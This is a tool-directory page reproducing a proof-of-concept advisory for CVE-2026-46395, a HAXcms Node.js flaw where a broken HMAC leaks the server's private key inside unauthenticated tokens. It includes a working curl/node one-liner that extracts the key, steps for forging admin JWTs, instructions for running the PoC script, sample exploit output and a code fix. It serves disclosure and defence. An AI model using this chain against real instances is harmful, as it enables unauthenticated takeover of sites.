Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46395-haxcms-hmac-key-leak — PoC and writeup for CVE-2026-46395: unauthenticated private key disclosure via broken HMAC in HAXcms Node.js (CWE-321/CWE-200). Authorized security research only. | Kitploit
Tools/GitHubGitHub/shreyas-challa/cve-2026-46395-haxcms-hmac-key-leak
Vulnerability AnalysisExploitationWeb Application ExploitationCryptographyPenetration TestingLearning & Education
GitHubshreyas-challa/cve-2026-46395-haxcms-hmac-key-leak

CVE-2026-46395-haxcms-hmac-key-leak

PoC and writeup for CVE-2026-46395: unauthenticated private key disclosure via broken HMAC in HAXcms Node.js (CWE-321/CWE-200). Authorized security research only.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
2 months agoNot yet reviewed

CVE-2026-46395 - HAXcms Node.js Private Key Disclosure via Broken HMAC (CWE-321 / CWE-200)

Proof-of-concept for authorized security testing and research only. The vulnerability described here is fixed in the latest release of HAXcms. This PoC is published so that defenders and researchers can verify the issue on unpatched instances they own or are explicitly authorized to test.

CVECVE-2026-46395
ComponentHAXcms Node.js backend - haxcms-nodejs/src/lib/HAXCMS.js
VulnerabilityHard-coded crypto key + private key disclosure (CWE-321, CWE-200)
SeverityCritical - CVSS 3.1 9.8
AttackUnauthenticated, single HTTP request, no user interaction
StatusFixed upstream. Affects releases prior to the patch.
Projectelmsln/HAXcms
ReporterShreyas Challa ([email protected])

Summary

hmacBase64() in the HAXcms Node.js backend (src/lib/HAXCMS.js:2158-2163) contains two cryptographic errors that together let any unauthenticated attacker recover the server's master signing secret (privateKey + salt) and forge admin-level JWTs.

root@kitploit:~
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
  var buf1 = crypto.createHmac("sha256", "0").update(data).digest();  // BUG 1: key hardcoded to "0"
  var buf2 = Buffer.from(key);                                        // BUG 2: the real key...
  return Buffer.concat([buf1, buf2]).toString('base64')               // ...is appended to the output
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
  • Bug 1 - Hard-coded HMAC key: the literal "0" is used as the signing key instead of key, so the HMAC provides no secrecy.
  • Bug 2 - Key leaked into output: the real key (the system's privateKey + salt) is concatenated onto the digest and base64-encoded into the returned token.

Every token therefore has the structure:

root@kitploit:~
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )

An attacker base64-decodes any token, drops the first 32 bytes, and reads the private key directly. The /system/api/connectionSettings endpoint is in the JWT skip list (src/app.js) and returns several of these tokens with no authentication, so a single GET request exposes the key.

The PHP backend (HAXCMS.php:1619-1631) implements this correctly (keyed with the real key, returns only the digest → 44-char tokens). The broken Node.js version emits 139+ char tokens - a visible tell that extra data is embedded.

Impact

A single unauthenticated request yields full compromise:

  1. Extract the private key - GET /system/api/connectionSettings, base64-decode any token, drop the first 32 bytes.
  2. Forge an admin JWT - jwt.sign(payload, privateKey+salt).
  3. Forge request tokens - recompute user_token, form_token, etc.
  4. Full admin access - create/modify/delete sites, upload files, change content.

This works even after the admin sets a strong password, and forged tokens produce no login events in logs.

Running the PoC

poc_hmac_key_leak.js performs the entire chain end-to-end against a running instance and prints each step verbosely: fetch tokens → extract key → verify key → forge JWT → forge request tokens → call an authenticated endpoint → create a site to prove write access.

Prerequisites

  • Node.js 16+
  • A running HAXcms Node.js instance you are authorized to test

Stand up a local test instance:

root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js            # serves on http://localhost:3000

Install and run the PoC

root@kitploit:~
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install                # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000

If jsonwebtoken is not installed the PoC still extracts and verifies the key, and simply skips the JWT-forgery steps.

Manual one-liner (key extraction only)

root@kitploit:~
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
  | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)

node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
         console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"

Sample output

root@kitploit:~
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
  token length: 139 chars (a correct HMAC token is ~44)

STEP 2: Extract the private key from the token
  Bytes 32+ (privateKey + salt in PLAINTEXT):
    4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
  RESULT: Private key successfully extracted!

STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.

Remediation

Replace the broken function with a correct keyed HMAC that returns only the digest:

root@kitploit:~
hmacBase64(data, key) {
  return crypto.createHmac("sha256", key)   // use the real key
    .update(data)
    .digest('base64')                        // return ONLY the hash
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

After patching:

  1. All existing JWTs/tokens are invalidated (expected) - users re-authenticate.
  2. Rotate privateKey and salt on every deployed instance - any previously issued token contains the old key in plaintext (in HTTP responses, logs, and browser history).

Update to the latest HAXcms release, which contains the upstream fix.

Responsible disclosure

This issue was reported to the HAXcms maintainers and fixed before publication. The PoC is released only after a patch was available. Use it exclusively against systems you own or are explicitly authorized to test.

Legal / authorized-use notice

This material is provided for defensive research, education, and authorized security testing. Running it against systems without explicit permission may be illegal. You are solely responsible for complying with all applicable laws and for obtaining authorization before testing. Provided "as is" with no warranty (see LICENSE).

Download Tool